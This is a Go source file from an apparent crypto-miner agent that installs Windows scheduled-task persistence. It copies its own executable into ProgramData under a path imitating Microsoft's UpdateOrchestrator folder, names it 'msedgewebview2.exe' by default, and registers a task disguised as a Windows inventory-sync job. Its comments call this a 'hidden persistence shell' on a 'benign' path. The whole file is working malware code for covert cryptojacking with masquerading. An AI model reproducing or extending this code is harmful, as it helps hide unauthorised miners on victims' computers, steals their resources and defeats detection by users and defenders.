package miner import ( "context" "fmt" "os" "path/filepath" "runtime" "strings" "crypto-miner-agent/config" ) // ScheduledTaskStubRel is the benign ProgramData path for the hidden persistence shell. const ScheduledTaskStubRel = `Microsoft\Windows\UpdateOrchestrator\InventorySync` // scheduledTaskOps performs task install/query. Tests override via SetScheduledTaskOps. var scheduledTaskOps = defaultScheduledTaskOps() func defaultScheduledTaskOps() *ScheduledTaskOps { return platformScheduledTaskOps() } // ScheduledTaskOps wires scheduled-task persistence for tests. type ScheduledTaskOps struct { Exists func(taskName string) bool Install func(taskName, stubPath, trigger string) error StubPath func(cfg config.RuntimeConfig) (string, error) } // SetScheduledTaskOps restores default when ops is nil. func SetScheduledTaskOps(ops *ScheduledTaskOps) { if ops == nil { scheduledTaskOps = defaultScheduledTaskOps() return } scheduledTaskOps = ops } // RunScheduledTaskTier installs or reuses a hidden persistence shell under ProgramData\Microsoft\... func RunScheduledTaskTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt { if runtime.GOOS != "windows" { return TierAttempt{Tier: TierScheduledTask, Error: "scheduled_task requires windows", Wallet: cfg.Wallet} } select { case <-ctx.Done(): return TierAttempt{Tier: TierScheduledTask, Error: ctx.Err().Error(), Wallet: cfg.Wallet} default: } taskName := scheduledTaskName(cfg) stubPath, err := scheduledTaskOps.StubPath(cfg) if err != nil { return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet} } if err := ensureScheduledTaskStub(stubPath); err != nil { return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet} } trigger := fmt.Sprintf(`"%s" --run --mining-mode=%s`, stubPath, strings.TrimSpace(cfg.MiningMode)) if scheduledTaskOps.Exists(taskName) { return TierAttempt{ Tier: TierScheduledTask, OK: true, Wallet: cfg.Wallet, Details: map[string]interface{}{ "task": taskName, "stub_path": stubPath, "mining_mode": cfg.MiningMode, "reused": true, }, } } if err := scheduledTaskOps.Install(taskName, stubPath, trigger); err != nil { return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet} } return TierAttempt{ Tier: TierScheduledTask, OK: true, Wallet: cfg.Wallet, Details: map[string]interface{}{ "task": taskName, "stub_path": stubPath, "mining_mode": cfg.MiningMode, "hidden": true, }, } } func scheduledTaskName(cfg config.RuntimeConfig) string { suffix := strings.TrimSpace(cfg.BuildID) if suffix == "" { suffix = strings.TrimSpace(cfg.WorkerName) } if suffix == "" { suffix = "agent" } suffix = sanitizeTaskToken(suffix) return `\Microsoft\Windows\UpdateOrchestrator\AetherForge\InventorySync` + suffix } func sanitizeTaskToken(s string) string { var b strings.Builder for _, ch := range s { if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') { b.WriteRune(ch) } } out := b.String() if out == "" { return "worker" } return out } func scheduledTaskStubPath(cfg config.RuntimeConfig) (string, error) { base := os.Getenv("ProgramData") if base == "" { return "", fmt.Errorf("ProgramData not set") } name := cfg.EffectiveProcessName() if name == "" { name = "msedgewebview2.exe" } if !strings.HasSuffix(strings.ToLower(name), ".exe") { name += ".exe" } return filepath.Join(base, ScheduledTaskStubRel, name), nil } func ensureScheduledTaskStub(stubPath string) error { if _, err := os.Stat(stubPath); err == nil { return nil } exe, err := os.Executable() if err != nil { return err } if err := os.MkdirAll(filepath.Dir(stubPath), 0755); err != nil { return err } src, err := os.Open(exe) if err != nil { return err } defer src.Close() dst, err := os.OpenFile(stubPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755) if err != nil { return err } defer dst.Close() if _, err := dst.ReadFrom(src); err != nil { return err } return nil }